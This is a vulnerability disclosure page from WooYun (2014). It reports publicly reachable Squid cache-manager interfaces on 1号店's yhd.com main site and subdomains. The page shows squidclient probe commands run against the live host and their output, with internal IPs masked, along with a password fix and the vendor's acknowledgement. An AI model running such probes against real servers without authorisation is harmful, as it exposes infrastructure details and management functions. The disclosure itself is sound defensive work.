当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-086367

漏洞标题:1号店主站及对多个分站某服务配置不当

相关厂商:1号店

漏洞作者: 路人甲

提交时间:2014-12-08 14:15

修复时间:2015-01-22 14:16

公开时间:2015-01-22 14:16

漏洞类型:系统/服务运维配置不当

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-08: 细节已通知厂商并且等待厂商处理中
2014-12-10: 厂商已经确认,细节仅向厂商公开
2014-12-20: 细节向核心白帽子及相关领域专家公开
2014-12-30: 细节向普通白帽子公开
2015-01-09: 细节向实习白帽子公开
2015-01-22: 细节向公众公开

简要描述:

1号店主站及对多个分站某服务配置不当

详细说明:

1号店主站及对多个分站 squid ACL配置当导致信息泄露,以站为例。

dodo@dodo:~$ squidclient -h www.yhd.com -p 80 mgr:
HTTP/1.1 200 OK
Server: squid/2.7.STABLE9-YHD0.8.1
Date: Mon, 08 Dec 2014 05:21:20 GMT
Content-Type: text/plain
Expires: Mon, 08 Dec 2014 05:21:20 GMT
X-Cache: MISS from yhd_homepage_4_2_170
X-Cache-Lookup: MISS from yhd_homepage_4_2_170:80
Connection: close
mem Memory Utilization public
cbdata Callback Data Registry Contents public
events Event Queue public
squidaio_counts Async IO Function Counters public
coss COSS Stats public
diskd DISKD Stats public
config Current Squid Configuration hidden
ipcache IP Cache Stats and Contents public
fqdncache FQDN Cache Stats and Contents public
idns Internal DNS Statistics public
url_rewriter URL Rewriter Stats public
store_rewriter URL Rewriter Stats public
external_acl External ACL stats public
http_headers HTTP Header Statistics public
menu This Cachemanager Menu public
##注意这个!##shutdown Shut Down the Squid Process hidden
reconfigure Reconfigure the Squid Process hidden
offline_toggle Toggle offline_mode setting hidden
info General Runtime Information public
filedescriptors Process Filedescriptor Allocation public
objects All Cache Objects public
vm_objects In-Memory and In-Transit Objects public
openfd_objects Objects with Swapout files open public
pending_objects Objects being retreived from the network public
client_objects Objects being sent to clients public
io Server-side network read() size histograms public
counters Traffic and Resource Counters public
peer_select Peer Selection Algorithms public
digest_stats Cache Digest and ICP blob public
5min 5 Minute Average of Counters public
60min 60 Minute Average of Counters public
utilization Cache Utilization public
histograms Full Histogram Counts public
active_requests Client-side Active Requests public
store_digest Store Digest public
storedir Store Directory Stats public
store_check_cachable_stats storeCheckCachable() Stats public
store_io Store IO Interface Stats public
pconn Persistent Connection Utilization Histograms public
refresh Refresh Algorithm Statistics public
delay Delay Pool Levels public
forward Request Forwarding Statistics public
client_list Cache Client List public
asndb AS Number Database public
server_list Peer Cache Statistics public
non_peers List of Unknown sites sending ICP messages public


存在问题的站点还有:s.yhd.com
cms.yhd.com
t.yhd.com
3c.yhd.com
food.yhd.com
channel.yhd.com
baobao.yhd.com

漏洞证明:

~$ squidclient -h www.yhd.com -p 80 mgr:server_list
HTTP/1.1 200 OK
Server: squid/2.7.STABLE9-YHD0.8.1
Date: Mon, 08 Dec 2014 05:22:45 GMT
Content-Type: text/plain
Expires: Mon, 08 Dec 2014 05:22:45 GMT
X-Cache: MISS from yhd_homepage_4_1_166
X-Cache-Lookup: MISS from yhd_homepage_4_1_166:80
Connection: close
Parent : www
Host : 10.x.x.191/80/0
Flags : no-query round-robin originserver
Address[0] : 10.x.x.191
Status : Up
AVG RTT : 0 msec
OPEN CONNS : 0
FETCHES : 24920018 0%
IGNORED : 0 0%
Last failed connect() at: 07/Dec/2014:02:30:01 +0800
DOMAIN LIST: www.yhd.com
keep-alive ratio: 0%
Parent : xxxxxxxxxxxxxxxx
Host : 10.x.x.191/80/0
Flags : no-query round-robin originserver
Address[0] : 10.x.x.191
Status : Up
AVG RTT : 0 msec
OPEN CONNS : 2
FETCHES : 24930195 0%
IGNORED : 0 0%
Last failed connect() at: 08/Dec/2014:10:04:23 +0800
DOMAIN LIST: www.yhd.com
keep-alive ratio: 0%
Parent : xxxxxxxxxx
Host : 10.x.x.191/80/0
Flags : no-query round-robin originserver
Address[0] : 10.x.x.191
Status : Up
AVG RTT : 0 msec
OPEN CONNS : 2
FETCHES : 24932905 0%
IGNORED : 0 0%
Last failed connect() at: 08/Dec/2014:09:10:01 +0800
DOMAIN LIST: www.yhd.com
keep-alive ratio: 0%
Parent : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Host : 10.x.x.192/80/0
Flags : no-query round-robin originserver
Address[0] : 10.x.x.192
Status : Up
AVG RTT : 0 msec
OPEN CONNS : 0
FETCHES : 1006 0%
IGNORED : 0 0%
DOMAIN LIST: xxxxxxxx.yhd.com
keep-alive ratio: 0%
Parent : xxxxxxxxxxxxx1
Host : 10.x.x.192/80/0
Flags : no-query round-robin originserver
Address[0] : 10.x.x.192
Status : Up
AVG RTT : 0 msec
OPEN CONNS : 0
FETCHES : 2410 0%
IGNORED : 0 0%
DOMAIN LIST: xxxxxxxxxx
keep-alive ratio: 0%
Parent : x
Host : 10.x.x.192/80/0
Flags : no-query round-robin originserver
Address[0] : 10.x.x.192
Status : Up
AVG RTT : 0 msec
OPEN CONNS : 0
FETCHES : 6148 0%
IGNORED : 0 0%
Last failed connect() at: 20/Nov/2014:10:43:27 +0800
DOMAIN LIST: xxxxxxxxxxxxxx
keep-alive ratio: 0%

修复方案:

cachemgr_passwd password_here all

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2014-12-10 10:23

厂商回复:

谢谢

最新状态:

暂无